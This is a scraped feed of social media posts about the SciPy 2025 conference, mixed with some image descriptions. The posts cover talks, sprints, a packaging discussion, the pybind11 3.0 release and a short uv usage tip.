My talk on #Composability in genomic software at #SciPy2025 is up on YouTube where I showcase both #anywidget and #oxbow.
Thank you to the organizers for the opportunity to present this to both computational biologists and the wider scientific computing community!

At #SciPy2025, we asked:
💬 What are your biggest pain points around sharing and maintaining research software?
Attendees answered thoughtfully, honestly, and hilariously (cats 😹).
Here’s what we heard 👇

Small group discussion at pyOpenSci’s Packaging Pain Points BoF session at SciPy 2025, with participants seated in a circle sharing insights.
Still riding the #SciPy2025 high ⚡
✅ Packaging workshop w/ #Hatch + #UV
💬 60+ at our BoF on sharing code
🚀 30+ PRs in one day—many from first-timers
🎙️ Talks, #Pixi demos, & a SciPy Song shoutout!

RIP `gpu-free-ai` , which was taken down from PyPI: https://pypi.org/project/gpu-free-ai/

🔥 The Teen Track at #SciPy2025 was an absolute blast! Huge thanks to Open Teams for creating space for the next generation of scientists and coders 🌟👩💻👨💻
I gave a punny talk at #SciPy2025 and I had much fear but no regrets. Thanks to all the people who make great packages that let us do what we do best! (Be huge dorks about microscopes) broad.io/CiminiSciPy2...
pyOpenSci at SciPy 2025” above it. Below the mountain, text reads: “Sprint with pyOpenSci! July 12–13, 2025. Breakfast at 8:00 am, Kickoff at 9:00 am.” A small circular logo with a river, trees, and a snake appears next to the text.
The #SciPy2025 Sprints are this weekend—July 12 & 13!
Breakfast at 8am, kickoff at 9am—then it’s time to dive into open source projects & meet the community.

Conference attendees in lively discussion, seated in small groups in a room filled with chairs and people talking and laughing.
A presenter stands at a podium in front of a slide that reads: “We shape our tools and, thereafter, our tools shape us” — A Schoolman’s Guide to Marshall McLuhan, John Culkin.
Leah Wasser, Executive Director of pyOpenSci, speaks into a microphone while pointing to a word cloud on a slide about challenges in packaging and sharing code. The word cloud highlights “documentation” and “time.”
Scenes from #SciPy2025!

pybind11 3.0 is out (in time for #scipy2025)! Support for Python 3.14, 3.14t, GraalPy, PyPy 3.11, and iOS have been added. smart-holder merged, native enums, multiphase init, subinterpreters (with per-interp GIL), better typing, C++23, and much more! See iscinumpy.dev/post/pybind1...
Never before have the perils of a live demo been expressed so poetically. Great job Angus @2i2c.org and Franklin @curvenote.com! #Scipy2025

Favorite #SciPy2025 moment (so far?):
poster by Davin Potts on speeding up HPC file IO for #Zarr files and involving napari and the awesome @jookuma.bsky.social
I met Davin's son at SciPy 2024 and demo'd napari and introduced him to Jordao 🤯
Butterfly effect?
🔥The #SciPy2025 Poster Session was a blast! 🖼️🧪
Great conversations, amazing questions, and lots of cool projects to explore.
Thanks to all the presenters for keeping things interesting 🙌
🔥Lightning Talks are always a highlight at #SciPy2025 ⚡️
Thanks to everyone who took the stage and let us spice things up with props!🦞🤲

It's great educators r thinking deeply & CRITICALLY about students using gen AI & how it impacts learning. There is a lot of hype with AI being able to solve problems. However, AI can can hinder one of the most important education outcomes:: "learning how to learn". #scipy2025 #openscience
Did you know that UV will install your #python package in editable mode with just a few easy commands?
1. create environment:
uv venv
2. Open a python prompt:
uv run python
And that's all you need!

🚀 #SciPy2025 is off to an incredible start with a great keynote by Hon. Kathryn Huff!
🙌 Grateful for her powerful insights and for sharing her journey with the scientific Python community. 💡🐍
I am SO excited to be at #scipy2025 ! I've only been in the building for 30 minutes but have already received multiple doses of what I have been looking forward to: nostalgia, optimism, old friends, new friends, and various humble opinions on text editors!
